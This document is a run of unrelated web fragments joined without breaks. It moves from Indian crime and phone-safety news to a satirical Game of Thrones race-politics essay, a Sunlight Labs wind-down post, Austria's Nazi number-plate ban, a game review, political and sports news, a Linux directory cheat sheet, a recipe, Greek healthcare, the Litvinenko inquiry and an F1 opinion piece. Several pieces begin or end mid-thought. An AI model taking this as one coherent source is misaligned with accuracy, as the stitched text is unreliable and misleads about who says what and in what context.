A police official said Rangappa was caught as the police had prior information of his attempted theft through their informants. Describing his modus operandi, Inspector Somashekar said Rangappa would enter homes when only female members were at home, and then snatch their chains. He would also snatch chains from women who were sitting beside windows by putting his hand through the window.
"Technology is solely meant to make human life better and what better than using it for the security of women. I have taken a decision that from January 1, 2017, no cell phone can be sold without a provision for panic button, and from January 1, 2018 mobile sets should have also Global Positioning System inbuilt," Communications Minister Ravi Shankar Prasad said in New Delhi.
Indeed, how do it know? How does “Dem Thrones” manage to make itself into an analogy for black America every week? Statistically, there must be at least one or two people who watch Game of Thrones only for the storyline or because they, like, really like dragons, battles and sister-brother sex scenes. Yet I’m convinced that most people watch Game of Thrones for its insight into politics and culture.
We have previously discussed how the “army of the dead” (the White Walkers) is a metaphor for the white nationalist movement that seeks to slowly purge this country of everything other than Caucasian Christians.
Although I know this week’s episode was probably written over a year ago, in the wake of Charlottesville, Va.’s version of Wypipo Gone Wild, here’s how episode 4, “Eastwatch,” somehow managed to perfectly capture America’s attitude toward the “alt-right” movement.
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Daenerys Targaryen: White Allies
Hillary Targaryen kicked off the episode with what is probably the greatest insight on benevolent white people ever broadcast on television. During her massacre after-party, Daenerys, who is known for her dragon-riding and post-battle victory speeches, encapsulated the very sentiment of the Hillary Clinton campaign and every political movement that tries to include black people:
I am your friend. I am here to help you fight for your rights. I am better and more benevolent than those other leaders. I am not a killer like those other guys, so join me in fighting for justice ... and if you don’t, I’m going to kill you. Watch what I do to these Tarly superpredators.
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While Dany looks cute in her cornrows and calls herself the “Breaker of Chains,” we must remember that all she wants is power, and she is willing to do anything to get it. That includes inviting someone to a barbecue and then barbecuing them.
Jon Snow had to take her into a cave and literally show her the writing on the wall before she even believed in the alt-white-walker movement. She has reluctantly lent her support, only because she knows she needs the North if she’s going to win the Electoral College for the Iron Throne. If she really wanted to stop the army of the dead, all she has to do is send her smallest dragon, a few Unsullied, and seven or eight Dothraki.
Shit, if I were Donald Trump, I’d send some Dothraki to North Korea. They can fight like a motherfucker!
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Cersei and Jamie Lannister: Wypipo
When it comes to the white supremacists, there are three kinds of wypipo:
The ones who won’t admit it: You can show some people a swastika logo on a Confederate flag stitched onto a Ku Klux Klan uniform and they will explain it away with something about their heritage, freedom of speech or some other bullshit. The ones who want to benefit from it: The GOP, most intellectual conservatives and many other people don’t actually believe that blacks and other people are inferior to whites, but they use the idea to their advantage. They stoke fear of blacks in poor white Southerners. They tell people that Mexicans are taking over. They make you fear Muslims. They don’t believe it themselves; they do it for votes, power and money. The ones who don’t care: They have too much going on in their lives to give a damn about other people’s oppression. Maybe they have family issues, a tough job or money problems or have simply been impregnated by their one-handed twin brother.
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Cersei and Jamie are all of these. Cersei won’t admit that the White Walkers are real because she is too focused on maintaining her grip on power, which is the same abyss that Trump and the entire Republican Party have fallen into with white nationalists. Neither of them will condemn the contingent who gathered in Charlottesville because they know those people hold the same beliefs that got them into office.
Jamie, on the other hand, knows they’re wrong, but—like many white people who know in their hearts what they see is wrong—he won’t speak out. He knows he is on the wrong side, but he won’t do anything, just like the people who say that voting for Trump doesn’t make them a racist. If you love and support someone who is willing to ignore oppression, then you are an oppressor.
Jamie is scared he’ll offend Cersei. Republicans are reluctant to distance themselves from the leader of their party. Trump is afraid he’ll offend the white supremacist base that voted him into office.
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They are all cowards.
The Tarlys: True Believers
Of course, there are always people who have been duped into believing in the supremacy of whiteness. The Tarlys represent the Middle America that truly believes the blacks, Mexicans and Muslims are taking over.
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Cersei and Jamie convinced Randyll Tarly—the family patriarch—that the savage Dothraki hordes and dark-skinned Unsullied soldiers want to rape their daughters and turn Westeros into a Third World country. Randyll even passed his own beliefs down to Dickon, his son (who should be angry at his parents for naming him after a penis preposition). They were willing to kill others and die for their beliefs.
They kicked their son out of the family for dating a foreigner. (The only thing that broke the chain of family bigotry is that their son Samwell left home, went into the service and served with a diverse group, then went to Maester State College to get an education.) The Tarlys wouldn’t vote for Hillary Targaryen, even though her political policies would have helped them. In fact, when a terrorist drove through a crowd of counterprotesters in Charlottesville and internet sleuths looked up the license plate, I was sure it would come back registered to one of the Tarlys.
The White Walker Wrecking Crew: Anti-Fascists
Jon Snow has assembled a group to go out and meet the Walker army. He seriously thinks they can capture a White Walker with no strategy other than gathering up a few homies who can fight like a motherfucker.
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There is a widespread notion that the “antifa” (short for “anti-fascist”) movement is the other side of the coin of white supremacy, but this could not be further from the truth. They all know that the white supremacist walkers will destroy their country, and they are willing to fight it by any means necessary.
We’ve seen these kinds of white people before. They are the people who were willing to go down to Mississippi to register voters in the 1960s. They are the weird white guys wearing mohawks and black boots willing to punch Nazis in the mouth. They know that once the army of the dead gets a toehold, it will be too late, so they go to wherever the white supremacists are and take the fight to them—even if it is beyond the wall.
The people who are really fighting White Walker supremacy are:
Jon Snow: Our cousin fought for his country in the Battle of Hardhome but came home, only to watch the people he fought for call him a bastard and stab him in the back. And front. And side. But they could not kill him (or keep him dead, anyway). He still wants to fight for what is right, even though everyone tries to get him to bend the knee.
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The Brotherhood Without Banners: This group has the blackest set of names ever (seriously, if you told me there was a ’70s R&B-funk trio from Detroit named the Brotherhood Without Banners, featuring Beric Dondarrion on keyboards, Thoros of Myr on bass and the Hound on drums, I’d go buy their album). They are outsider hipsters who don’t want to belong to any group, and they roam around the country fighting everyone.
Tormund: A true redneck Wildling who doesn’t give a damn about the color of your skin or where you came from. If he’s your friend, he’ll fight for you. There is one way you can tell someone like Tormund from an ally: Allies will tell you how much they are willing to fight for you, and recount everything they’ve ever done for social justice. Tormund will just grab his sword and say, “Let’s go.”
Davos Seaworth: Davos is just a good dude. Everyone has at least one white friend who has been down for them since day one. He’s not much of a fighter, but you can always count on him to do the right thing. And—as he did in this week’s episode when he sweet-talked the Kingsguard—it’s always good to have one white guy around to talk to the police.
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Gendry: Like Snow, Gendry is a bastard. But Gendry wasn’t raised in Winterfell; he grew up in the streets. He has never seen the white supremacists who are coming to take over, but he has seen how the system marginalizes people, and he just wants to overthrow the Lannister power structure that held him down for so long.
That’s why Game of Thrones is so relevant: It shows us that there are only a few brave souls willing to fight white supremacy. That’s why white supremacists are getting stronger as they march, trying to take over the country as our leaders condemn the violence on “many sides.”
They have the numbers on their side. They have apathy on their side. They have ignorance on their side. They have history on their side.
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All we have are a few good men, the fact that we are right, bravery, courage and the fact that we have survived the longest, coldest winter ever.
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Project wrap-up
Our primary focus has been on our core, currently active projects: Open States, Email Congress, Political Ad Sleuth, Political Party Time and so on. There are dozens of smaller tools that comprise these larger projects, as well as many, many other applications we’ve written over the years to solve various problems. In total, we have several hundred individual projects. About half of these projects lived in a git repository on our own internal GitLab server, and the rest were already on GitHub. Most everything is currently running on AWS or Heroku.
To make these projects ready for re-use, we have to do several things:
Move all of our projects to GitHub. Add licenses to the projects. Without a license, our code isn’t open source and can’t be reused. Following Sunlight’s ethos, we’ve chosen GPL 3.0 as our default license. Pull out any secure credentials, API keys, passwords and other private information that shouldn’t be shared with the world. Document our projects so that everyone can tell what they’re for. Lots of our projects have clever, but not necessarily helpful, names that do not give any indication of what they do. Export all of the publicly shareable data from the live running projects, and put this somewhere that people can use it.
I have created a collection of tools to help automate many of these steps whenever possible. I was able to move the many projects to GitHub without too much trouble thanks to the GitHub and GitLab APIs. From there, I created a quick script to take an inventory of what we did and didn’t have for documentation and licensing. Not all of the repositories are public yet, as we need to finish steps two and three.
Adding licenses was a bit more tricky, as some of our projects were primarily static assets and not suitable for GPLv3 — in which case we’d prefer Creative Commons (either CC0/Public Domain, or Attribution and Share Alike). For that, I needed an interactive tool for creating licenses wherever they were missing, based on user input.
Scraping out secure credentials was a similar problem, but complicated by the fact that we needed to remove these from the entire history of the git repo. As a first step, I looked for obvious configuration files and flagged ones that contained secrets. Then there was quite a bit of manual double-checking as API keys had frequently been left in random source files. After creating example configuration files and removing credentials, I used the BFG tool to cull these from the entire history of the projects.
With that being mostly done, we’re now reaching out to our many Labs alumni to help us create documentation for our projects that need it. Since everything is now on GitHub, it’s as simple as filling a pull request! Please feel free to contribute if you have something you can add to this effort.
We’ll be holding off on exporting the data until after TransparencyCamp next week so that we won’t have to do this repeatedly as new data comes in. We hope to put everything we can on GitHub or in collections within the Internet Archive.
Site migration
We also have a number of other content-driven sites, including the Sunlight Foundation main website, the TransparencyCamp site, Open Data Policies Decoded and others. Almost all of our sites and projects are custom in-house projects, built with Django, Flask or other tools. Currently, these all require a programmer to make changes to the sites and require a complex setup on AWS.
Wherever possible, we’re attempting to transfer these to platforms that staff can manage without technologists. In many cases we’ll be switching to WordPress or GitHub Pages for the hosting of our content-driven sites. There are certainly other great tools out there, but we’re deliberately choosing two of the most popular ones, so help will be easy to find.
Looking forward
We have a lot to accomplish in the weeks remaining before we wind down Labs. Having watched so many projects shut down recently, my goal here is to preserve as much of the legacy of Sunlight Labs as possible, for future work to build off of. At The OpenGov Foundation, I brought an ethic of open by default to all of our work, and it’s in this same spirit that I’m approaching the closing of Labs — using solid, open source principles to make sure these tools are available to the community for years to come.
Coded tattoos or styles of haircut have long been ways for neo-Nazis to signal their support for the far right, but on Thursday Austria closed down one avenue for hidden symbolism – car number plates.
More than 30 number and letter combinations for personalised registration plates that contain allusions to the Nazis are being made illegal. Austria has some of the toughest laws against glorification of nazism and Holocaust denial.
The list has been drafted by the anti-fascist Mauthausen Committee (MKÖ), which works with survivors of Nazi concentration camps in Austria. The country’s transport ministry said more could be added.
Legislation that came into force on Thursday also outlaws ISIS and IS – references to Islamic State.
One of the most common symbolic references to Nazism is the number 88 – as H is the eighth letter of the alphabet it is code for Heil Hitler. Also banned is the combination 1919, which represents SS, and 18, which stands for Adolf Hitler by the same logic. Hitler’s birthday, on 20 April, can be coded as 420.
Several combinations were already banned when personalised number plates were legalised in 1989, including HJ, which stands for Hitlerjugend or Hitler Youth, as well as NS for national socialism.
Transport minister Alois Stöger said in a press statement that fascist ideology had no place in Austrian society.
“When it comes to this issue, nothing is too small,” he said. “Therefore, it has been my personal concern that we find a way to ban the relevant licence plates codes.”
The committee would react to any newly emerging letter or number code linked to any extremist movement, the ministry said.
“The [neo-Nazi] scene has developed these codes and legislators have to pay attention to current trends,” a spokeswoman for the MKÖ told Die Welt when the measures were first announced.
Austria’s 1947 national socialism prohibition law makes it punishable by up to 10 years in prison for people to operate in a manner characterised by the Nazis, which can include Hitler salutes or wearing Nazi uniforms.
That sentence can increase to up to 20 years if suspects are found to be planning dangerous activities. In 1992, the law was amended to make it illegal to “deny, grossly play down, approve or try to excuse” the Holocaust or “other National Socialist crimes against humanity”.
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Fading Crescent
I remember seeing the Kickstarter for Moon Hunters and being really excited for the game; Moon Hunters is a Diablo-like game with vibrant colors and dialogue options that affect how the game unfolds. There are a lot of neat ideas in Moon Hunters, but despite that — and my excitement to finally play this game on Nintendo Switch — Moon Hunters turned out to be one of the most disappointing games on the Switch eShop.
Moon Hunters is about creating your own mythology: everything you do, from the number of enemies you kill to how you interact with NPCs, shapes the stories future generations tell about your character. There are a handful of characters you can play as, each with their own class like spellsword and ritualist, and they each have the same basic goal of killing the Sun Cult’s leader and protecting the Moon goddess.
Because Moon Hunters is about crafting mythology, each playthough only lasts between an hour to two hours, and a lot of that is spent just waiting for the game to load new areas. Moon Hunters wants you to play through the game multiple times — forging a new mythology each time — and tries to encourage this by offering a variety of starting regions and scenarios.
The different starting regions are your typical fantasy settings like the desert and grassland, and don’t really offer much beyond cosmetic changes. No matter what character you pick or what area you start in, Moon Hunters follows this basic loop: explore a linear area, camp for the night, explore a linear area, camp for the night, and repeat until the Sun Cult comes for your head.
You’re given a world map with a bunch of different locations to explore, but I’m not really sure what the point is — each location is a linear walk in the park devoid of puzzles and branching pathways. You do collect opals by killing enemies, and these can be traded to upgrade your character’s attacks. The problem here is that the different characters are too imbalanced: I was able to breeze through the game with the ritualist, but I kept getting slaughtered as the spellsword. I ended up stumbling across the final boss early with the spellsword and actually beat him — he was much, much easier to fight than the rest of the game’s enemies. There just isn’t any sense of progression in Moon Hunters.
On the Other Hand…
Moon Hunters has some neat ideas in it, though. You’ll come across NPCs in your travels that present you with a multitude of dilemmas for you to offer your advice on, and what you choose shapes your character’s reputation and increases certain stats. One such dilemma was whether an orphan should be taken into the village — I suggested that it should be, and my character gained a reputation as compassionate.
There’s also couch co-op play with up to three of your friends, Diablo-style. Moon Hunters is more fun in multiplayer because it makes fighting waves of enemies a lot easier and each character in your party can have totally different reputations.
The soundtrack for Moon Hunters is fantastic. There aren’t a whole lot of tracks, but each one is incredible. You can listen to the OST on YouTube here.
System reviewed on: Nintendo Switch.
Kelly Visnak, a scholarly communications librarian at the University of Texas Arlington, tweeted:
Stephen Curry, a structural biologist at Imperial College London, pondered on Twitter:
Curry says that RIO is another example of an open-access journal that is "bringing a new sense of transparency and collaboration to research". He questions, however, whether many researchers will take the opportunity to publicly share their best ideas at their earliest stages. Principal investigators “tend to be a bit secretive about that until they can secure funding,” he says.
Ross Mounce, an evolutionary biologist at the Natural History Museum in London and a founding editor of RIO, wrote in a blog post that the journal "packs a mighty combination of novel features into one platform". To his knowledge, he writes, no other journal has ever offered to publish each stage of research. He said that many researchers have more ideas than they can handle at once, so they can now publish them in RIO instead of filing them away.
He says that he and his team will also take a different approach to peer review: authors are asked to secure at least one outside review on their own before submitting research articles, but they can pay extra for the journal to provide formal peer review before publication. All reviews will be publicly available.
However, Jeffrey Beall, a librarian at the University of Colorado Denver and a critic of open-access journals, says that letting authors choose their own reviewers increases the chances that flawed science will enter the literature. “Science needs more selectivity, not less,” he says.
Ivo Grigorov, a marine scientist at the Technical University of Denmark and a subject editor for RIO, tweeted that the journal was "far from perfect”, but that it offers researchers a way to make all stages of their work more accessible. In an interview, he acknowledged that the optional peer review could be criticized as weak. “We shouldn’t dilute the value of rigorous peer review,” he says. “We need to make it a guiding principle.”
But Mounce argues that the open nature of the journal’s peer-review process should eliminate many concerns. In his opinion, the lack of accountability in anonymous peer review has fuelled many of the current doubts about the validity and reproducibility of science. "Openness is a great way of warding off concerns about validity of work," he says.
The journal will start accepting manuscripts in November and authors will be asked to pay up to a few hundred dollars to get published, says Mounce.
Grigorov says that the new journal is an experiment that could address shortcomings with the current publication system. "It's not a perfect experiment," he says. "It's going to cause problems. But if we don't try it, we can't get it fixed.”
Appearing on MSNBC’s AM Joy to discuss revoking Trump son-in-law Jared Kushner’s security clearance over accusations that he lied to the FBI, Rep. Ted Lieu (D-CA) promised Democrats with go hard after President Donald Trump’s Russia connections if the his party reclaims the House in 2018.
Before turning to Trump and the Russians, Leiu hammered at Kushner and his own Russia connections.
Host Joy Reid introduced Lieu as one of five Democrats who have signed a letter asking for the FBI and the Office of Personnel Management to withdraw Kushner’s security clearance while he is being investigated.
“Do you have an expectation that this letter will result in Kushner’s security clearance will be pulled?” host Reid asked. “Or is this really just to get it on the record that he essentially did the same thing Michael Flynn did and not disclose his connections and his conversations?”
“Kushner’s security clearance absolutely should be suspended,” Leiu stated. “I have filled out these forms before; they’re known as SF-86 forms. One of the main reasons that you have this form is to figure out if the person had contacts with foreign officials. Jared Kushner intentionally omitted his various contacts, and he knew these contacts were important because of the whole Russia scandal that has been developing. So he lied and he needs to have his security clearance revoked.”
According to Reid, omitting the information violates “U.S. Criminal Code, Title 18, section 1001,” and states that knowingly providing false information or concealing a material fact “is a felony, which may result in fines and up to five years imprisonment.”
Asked if it was enough that Kushner just revised his forms, Lieu answered with a curt, “No.”
“If I had done this on my own forms, my security clearance would have been suspended, and there would have been an investigation open,” Lieu explained. “And the difference with Kushner is, it’s not as if meeting he had was four years ago. He had these meetings with Russian officials recently, and he knew this was an issue because of the Russia scandal so he intentionally omitted these facts.”
“If that doesn’t happen, what will be your next move as a member of Congress?” Reid asked.
“You know, if we take back the House in a year-and-a-half, we will open investigations to try to force him to do that,” Lieu replied. “In the meantime, I hope some Republicans come to their senses and understand the gravity of what happened here. where you have a senior-level White House official lying about his security clearance form on the issue of Russia.”
“It sounds like you are making this a campaign issue,” Reid pressed. “Are you saying that if Democrats take back the House of Representatives, they’re going to ramp up investigations on Russiagate, including Jared Kushner?”
“We will ramp up investigations on any alleged violations of the law or of ethics,” the California congressman answered. “And if nothing happens when people lie on the security clearance forms, that’s absolutely a problem and we will absolutely investigate.”
“Are you implying there that the Republicans are not doing a thorough investigation at this moment?” Reid asked.
“That’s correct. I have heard nothing about their investigation of people who lie on the security clearance forms, including Jared Kushner,” Lieu stated.
I thought some people might like this.
Remembering what all the default directories in Linux are for, can be hard at first. Here is a little “cheat sheet” that shows the Linux directory structure.
/ – Root
Every single file and directory starts from the root directory.
Only root user has write privilege under this directory.
Please note that /root is root user’s home directory, which is not same as /.
/bin – User Binaries
Contains binary executables.
Common linux commands you need to use in single-user modes are located under this directory.
Commands used by all the users of the system are located here.
For example: ps, ls, ping, grep, cp.
/sbin – System Binaries
Just like /bin, /sbin also contains binary executables.
But, the linux commands located under this directory are used typically by system aministrator, for system maintenance purpose.
For example: iptables, reboot, fdisk, ifconfig, swapon
/etc – Configuration Files
Contains configuration files required by all programs.
This also contains startup and shutdown shell scripts used to start/stop individual programs.
For example: /etc/resolv.conf, /etc/logrotate.conf
/dev – Device Files
Contains device files.
These include terminal devices, usb, or any device attached to the system.
For example: /dev/tty1, /dev/usbmon0
/proc – Process Information
Contains information about system process.
This is a pseudo filesystem contains information about running process. For example: /proc/{pid} directory contains information about the process with that particular pid.
This is a virtual filesystem with text information about system resources. For example: /proc/uptime
/var – Variable Files
var stands for variable files.
Content of the files that are expected to grow can be found under this directory.
This includes — system log files (/var/log); packages and database files (/var/lib); emails (/var/mail); print queues (/var/spool); lock files (/var/lock); temp files needed across reboots (/var/tmp);
/tmp – Temporary Files
Directory that contains temporary files created by system and users.
Files under this directory are deleted when system is rebooted.
/usr – User Programs (Unix System Resources)
Also known as short for “Unix System Resources”
Contains binaries, libraries, documentation, and source-code for second level programs.
/usr/bin contains binary files for user programs. If you can’t find a user binary under /bin, look under /usr/bin. For example: at, awk, cc, less, scp
/usr/sbin contains binary files for system administrators. If you can’t find a system binary under /sbin, look under /usr/sbin. For example: atd, cron, sshd, useradd, userdel
/usr/lib contains libraries for /usr/bin and /usr/sbin
/usr/local contains users programs that you install from source. For example, when you install apache from source, it goes under /usr/local/apache2
/home – Home Directories
Home directories for all users to store their personal files.
For example: /home/john, /home/brian
/boot – Boot Loader Files
Contains boot loader related files.
Kernel initrd, vmlinux, grub files are located under /boot
For example: initrd.img-2.6.32-24-generic, vmlinuz-2.6.32-24-generic
/lib – System Libraries
Contains library files that supports the binaries located under /bin and /sbin
Library filenames are either ld* or lib*.so.*
For example: ld-2.11.1.so, libncurses.so.5.7
/opt – Optional add-on Applications
opt stands for optional.
Contains add-on applications from individual vendors.
add-on applications should be installed under either /opt/ or /opt/ sub-directory.
/mnt – Mount Directory
Temporary mount directory where sysadmins can mount filesystems.
/media – Removable Media Devices
Temporary mount directory for removable devices.
For examples, /media/cdrom for CD-ROM; /media/floppy for floppy drives; /media/cdrecorder for CD writer
/srv – Service Data
srv stands for service.
Contains server specific services related data.
Jump to Recipe
There are many many ways potatoes are used in Indian cuisine especially for snack options. Samosa is one of the popular snack. Bondas, Vada pav, Cutlets, patties, stuffed potato balls, mashed potato and chutney sandwiches, dabeli, masala pav, many chaat options and on and on. Most use long processes and often are deep fried. These Baked Smashed potatoes need just about 20 minutes active time and no frying! All the flavors, less work and a great looking dish!
MY LATEST VIDEOS
I use the Bonda tempering as a dressing on these smashed potatoes. Depending on the spices used, these would be Bonda Smashed potatoes or Samosa smashed potatoes or just Indian Smashed potatoes. Love potatoes? Love Samosas or other Indian spiced snacks? Then make these addictive Crispy Spiced Smashed Potatoes! Serve these with a dash of lemon juice or with Mint Chutney or Tamarind Chutney.
The dressing is amazing and steals the show here. You can out it on any roasted or steamed vegetable!
More snacks from the blog
If you make these, do let me know how they turned out! Please comment and rate it.
Pressure Cook or Boil the potatoes. I used Instant Pot.
Cool Smash and bake.
Make the tempering.
Top the smashed potatoes with the tempering and bake again for a few.
Web Staff, cp24.com
A 25-year-old man is dead after he was struck by a garbage truck at King Street West and Spadina Avenue on Friday morning, Toronto police say.
The man was riding a skateboard when he was struck by a Wasteco garbage truck at about 6:30 a.m., while it was still dark outside, said police Sgt. Warren Stein.
The collision occurred when the driver of the garbage truck, heading south on Spadina, was making a right turn to head west on King. Two people were in the truck at the time.
The intersection reopened to traffic at about 11:45 a.m.
Streetcar delays
The 504 King streetcars and 510 Spadina streetcars have returned to normal service, but customers may experience some days following the reopening of the intersection.
Police are asking anyone who witnessed the collision or the skateboarded before he was struck to call investigators.
The list doesn't include a number of DC TV projects that are currently on TV or in development, including Powerless, which premieres in the spring, and Black Lightning from Greg Berlanti, the producer behind Arrow, The Flash, Supergirl, and Legends of Tomorrow.
That is likely due to the 140-character restriction on Twitter. While news of many TV and movie projects tends to leak while it's still in the pipeline and not yet "official," putting company executives like Johns in an awkward public position when discussing them, Black Lightning was announced after it had already landed its pilot commitment at FOX and is likely as "official" as any show not yet on TV is likely to be. Besides the shows listed by Johns, DC's television division is currently in production on new seasons of Preacher and iZombie while pilots or first seasons are in development for Powerless, Scalped, Krypton, and Black Lightning.
Ventura, 44, played for the White Sox from 1989-98 and was appointed special adviser to the club's director of player development Buddy Bell in June.
Like his predecessor and former teammate Ozzie Guillen eight years ago, he takes the White Sox job with no managerial experience in the big leagues or minors.
Said general manager Ken Williams, in a statement released by the club:
"When I met with the media as our season ended, I identified one person at the very top of my managerial list. I wanted someone who met very specific criteria centered around his leadership abilities. Robin Ventura was that man. His baseball knowledge and expertise, his professionalism, his familiarity with the White Sox and Chicago and his outstanding character make him absolutely the right person to lead our clubhouse and this organization into the seasons ahead."
Ventura played a total of 16 years in the big leagues, retiring in 2004 in part because of lingering issues with a long-injured ankle. His other teams were the New York Mets, New York Yankees and Los Angeles Dodgers. Extremely popular with the fans in his playing days in Chicago, he won six Gold Gloves and hit 294 home runs in his career.
"I am excited to begin my career as a manager surrounded by former teammates, staff, media and White Sox fans I know very well," Ventura said in the club's release.
Ventura's lack of experience as a manager, or even big-league coach (which Guillen was before assuming the White Sox job in 2004) are sure to be questioned. He has done some television work for ESPN as an analyst at the College World Series.
A Huge Step Closer
Thanks to months and months of hard work and the support of so many, we are one step closer to having the Nineveh Plains Protection Units (NPU) supported and backed by the government of Iraq and the United States.
Over a year ago, the Restore Nineveh Now Foundation began working with the Assyrian Democratic Movement to advocate for the NPU as a critical feature in the re-establishment and reconstruction of the Nineveh Plain and the Nineveh Plain Province.
Now, after countless phone calls, meetings and support from so many everywhere, the President of the United States has signed The National Defense Authorization Act for 2016. On page 221, section 1223 of the explanation of the Act, is the following:
“The Secretary of Defense, in coordination with the Secretary of State, would be authorized to provide, in coordination to the extent practicable with the Government of Iraq, assistance pursuant to the Iraq Train and Equip authority directly to the Kurdish Peshmerga, Sunni tribal security forces, or other local security forces with a national security mission for the purpose of supporting international coalition efforts against ISIL. We note that local security forces with a national security mission may include, in addition to Sunni tribal elements, local security forces that are committed to protecting highly vulnerable ethnic and religious minority communities, such as Yazidi, Christian, Assyrian and Turkoman communities, against the ISIL threat.”
That’s a lot of verbage, we know, but did you see it? Assyrian Security Forces!
This is a huge step forward! Not only were Assyrians listed specifically, by name, but their security forces were singled out, identified as a must-have part of the defense of the Nineveh Plain!
Thank you to everyone who has help RNNF in its work on behalf of the NPU. Thank you to all of our volunteers who have logged so many hours in the cause. And thank you most to all the brave Assyrian men and women in the Nineveh Plain who are the backbone of the NPU!
Now that the NPU is in the game, it is time to work even harder to ensure that they play their critical part in sending ISIS back to 7th century and securing the Nineveh Plain Province for all who call it their home.
Let’s get up the hard work and support!
The number of uninsured Greeks has reached 2.5 million compared to 500,000 in the pre-crisis year of 2008, the Timesreported.
Healthcare spending has dropped by 25 percent since 2009, leading to shortages of medical equipment and a lack of funds to pay nurses’ salaries.
The country spends around 11 billion euros annually on its public healthcare system, which is one of the lowest rates in the EU.
According to media reports, some Greek patients have had to undergo painful medical procedures without anesthetics.
People have also been turned away from hospitals, as they didn’t even have the equipment to measure their blood pressure, the newspaper learned.
READ MORE: 'Can't Pay, Won't Pay': Greece has no money to make IMF payment, interior minister says
On one occasion, a patient was even asked to bring his own sheets to the infirmary from home.
A trainee surgeon at KAT state hospital in Athens described the situation at his hospital as being at the “breaking point”.
“There is no money to repair medical equipment, no money for ambulances to use for petrol, no money to hire nurses and no money to buy modern surgical supplies,” he told the Times.
In April, the new Syriza government vowed to battle the “barbaric conditions” in public hospitals, as well as corruption in the healthcare sector.
Despite money shortages, Greek authorities abolished the 5-euro fee to visit state hospitals and have pledged to hire an additional 4,500 healthcare workers.
“We want to turn the health sector from a victim of the bailouts, a victim of austerity, into a fundamental right for every resident of this country and we commit to do so at any cost,” Alexis Tsipras, the Greek Prime Minister, said.
“We will not tolerate the exploitation of human pain,” Tsipras stressed.
However, the fulfilment of the PM’s plans is in doubt as finance minister, Yanis Varoufakis, recently warned that Greece would run out of money in a matter of weeks.
READ MORE: Greece claims deal with Troika in 10 days
Athens should repay 300 million euros to the International Monetary Fund by June 5, with Greece likely to default if Eurozone creditors won’t agree to loan it an additional 7.2 billion euros.
On Sunday, the Greek Interior Minister said that Greece will not be able to make the next tranche of debt repayment to the International Monetary Fund (IMF), as the country’s coffers are empty.
Talks between the sides continue, with Varoufakis blaming creditors’ insistence on more austerity for the stalemate.
“Our government cannot – and will not – accept a cure that has proven itself over five long years to be worse than the disease,” the finance minister wrote in a Project Syndicate op-ed.
Thursday's inquiry report, which was the work of judge Sir Robert Owen, said the two were "were acting on behalf of others when they poisoned Litvinenko," most likely "under the direction of the FSB."
Related: Read the Litvinenko Inquiry's Full Report Here
Owen concluded: "The FSB operation to kill Mr. Litvinenko was probably approved by [FSB chief Nikolai] Patrushev and also by President Putin."
Shortly after Owen's report was released Britain's government summoned the Russian ambassador over Moscow's failure to cooperate with the inquiry and announced asset freezes on Kovtun and Lugovoi, a former FSB agent who is now a senior Russian lawmaker.
Russia, which has always denied involvement in Litvinenko's death, dismissed the entire inquiry as an "orchestrated politicized farce."
Foreign Ministry spokeswoman Maria Zakharova said the report aimed only to "smear Russia," adding that "this peculiar form of investigation was, contrary to its name, neither transparent nor public," she said.
She ridiculed the report's narrative that Litvinenko's killing might be linked to the death of another exiled Putin critic, Boris Berezovsky.
"Agatha Christie ain't got nothing on this," Zakharova said.
Lugovoi, meanwhile, called Thursday's inquiry report "absurd."
"The results of the investigation ... once again confirm London's anti-Russian position and the blinkered view and unwillingness of the British to establish the true cause of Litvinenko's death," he said in an interview with the Interfax news agency.
The Litvinenko inquiry was ordered in 2014 amid pressure from Litvinenko’s widow and British lawmakers.
Owen heard from 62 witnesses over six months of public hearings and — behind closed doors — saw secret intelligence evidence about Litvinenko and his links to U.K. spy agencies.
The inquiry was told that Litvinenko had been the victim of a “a miniature nuclear attack on the streets of London.”
Investigators and scientists testified that a radioactive trail was left at hotels, restaurants and other sites across London visited by Kovtun and Lugovoi.
“Of all the Formula 1 racers of the modern generation, Jules Bianchi is the one with perhaps the best understanding of what motorsport can be like,” it says. “He comes from a family that knows only too well about triumph and tragedy. Motor racing is a cruel sport despite the best efforts that are made to try to protect the drivers from all possible dangers. Even with the knowledge and the pain that the family had to endure, Bianchi chose to pursue F1 as his career. He knew what he was doing and we hope that he will be able to one day race again. We have every confidence that the FIA Safety Department will examine the accident in a scientific way and if there are lessons to be learned they will be learned. It is a time for calm consideration. All we can do, all we should do, is wish him and his family the best in these difficult times.”
What is not required at this particular moment is the kind of rampant sensationalism and hysteria that seems that have engulfed the fans and the media, a lot of it based on incorrect assessments of what happened and signals that were misinterpreted. A lot of people are doing a lot of talking and I have seen quotes – misused or not – that I would not expect to see from people who ought to know better. There is no need for any inquiry, independent or otherwise. This all smacks of people trying to take advantage of the circumstances to use the crash as a weapon in political games. What is really required from the sport right now is less clutter and a clear-headed approach to analysing the questions that are being raised about the accident. Science is all about precision and this is what we need. Not waffle.
Adrian Sutil went off on his 41st lap. At the time he was running directly behind Jules Bianchi. A lap lap Bianchi went off at exactly the same place. Sutil went sideways but it seems that Bianchi was going straight, unable to turn the car, presumably because of the wet grass. The fastest men at that point in the race were lapping in 1m54s and 1m55s, which means that the rescue crew had almost completed the job required in the space of two minutes – from the moment Sutil hit the wall until the moment Bianchi hit the rescue truck. That is highly efficient. It was all done under suitable caution lights and flags. Conditions were changing and the track was getting wetter. It was relatively dark because of the clouds that were coming in. However the light signals that the drivers could see were not obscured in any way. There is a reason for everything that was done (before and after the accident). There was no issue with the helicopter. The visibility at the hospital was not by then good enough for the chopper to land. The hospital is close to the track and the ambulance had a police escort and arrived rapidly. It is true that the helicopter did take off at the same time that the ambulance departed, but this was because it was flying elsewhere and had been stood down after the decision to use the ambulance was taken. As far as I can see, everything was done in as logical and correct fashion as possible. There was confusion about the name of the hospital, but these things can get lost in translation and it was swiftly remedied.
The people who are concerned with F1 safety are far more qualified than anyone else to make judgments about the accident – and they are people who say what they think, not what people want them to say. They care about what they do. So we should respect their decisions because who among us is qualified to challenge them? Yes, perhaps those who have been F1 for decades and have seen a lot might attack them if there was something that was obviously a mistake, but that is not the case in this accident.
So all of this other nonsense should be stopped immediately, or exposed as the sensationalism and/or politics that it is. This should not be used as a means of cleaning out the last remnants of the Mosley FIA, nor should it be part of any bigger power politics between the big players. People pushing these agendas should just back off and shut up. And, unpopular though the view may be, motor racing does not – and should not – have to answer to people who know nothing about the subject on which they are spouting forth. I am all for engaging with the F1 fans, but not when one gets into accidents. The real experts are the people running the show and it is arrogant in the extreme for anyone out there on the couches of the world to think that they know better because they saw a green flag being waved and did not understand why.
September 30, 2017 | 4:27pm
Helayne Seidman
He hates law and order on the streets — but he loves it between the sheets.
